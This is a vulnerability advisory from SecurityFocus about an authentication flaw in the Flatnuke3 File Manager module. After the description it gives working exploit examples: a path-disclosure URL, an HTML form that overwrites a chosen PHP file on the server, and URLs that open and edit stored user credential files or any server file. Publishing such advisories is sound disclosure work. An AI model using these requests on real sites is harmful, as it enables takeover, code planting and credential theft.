source: https://www.securityfocus.com/bid/26155/info

Flatnuke3 is prone to an unauthorized-access vulnerability because it fails to adequately verify administrative credentials while logging in via the 'File Manager' module.

An attacker can exploit this vulnerability to gain administrative control of the application; other attacks are also possible.

This issue affects Flatnuke3-2007-10-10; other versions may also be vulnerable. 

Full Path Disclosure Example:

http://www.example.com/flatnuke3_path/index.php?mod=[forum_path]
&op=disc&argumentname=[a_casual_char]
---------------------------------------------------------------
File Replace Exploit:

<form method="post" action="http://www.example.com/flatnuke3_path/index.php?
mod=none_filemanager&amp;op="><textarea id="body" name="body" cols="90" rows="
35">
&lt;/textarea&gt;<br><input value="Save" type="submit"><input type="reset">
<input name="opmod" value="save" type="hidden">
<input name="ffile" value="[file_name].php" type="hidden">
<input name="dir" value="/[script_path]/[file_path]" type="hidden"><input
class="button" onclick="history.back()" value="Annulla" type="button"></form>
---------------------------------------------------------------
User Credential View/Edit Exploit:

http://www.example.com/flatnuke3_path/index.php?mod=none_filemanager&dir=/
[script_path]/[flatnuke3_path]/misc/fndatabase/users/&ffile=[username].
php&opmod=open&op=

Or, for example u can view and edit a file located on the server:

http://www.example.com/flatnuke3_path/index.php?mod=none_filemanager&dir=/
[script_path]/&ffile=[file]&opmod=open&op=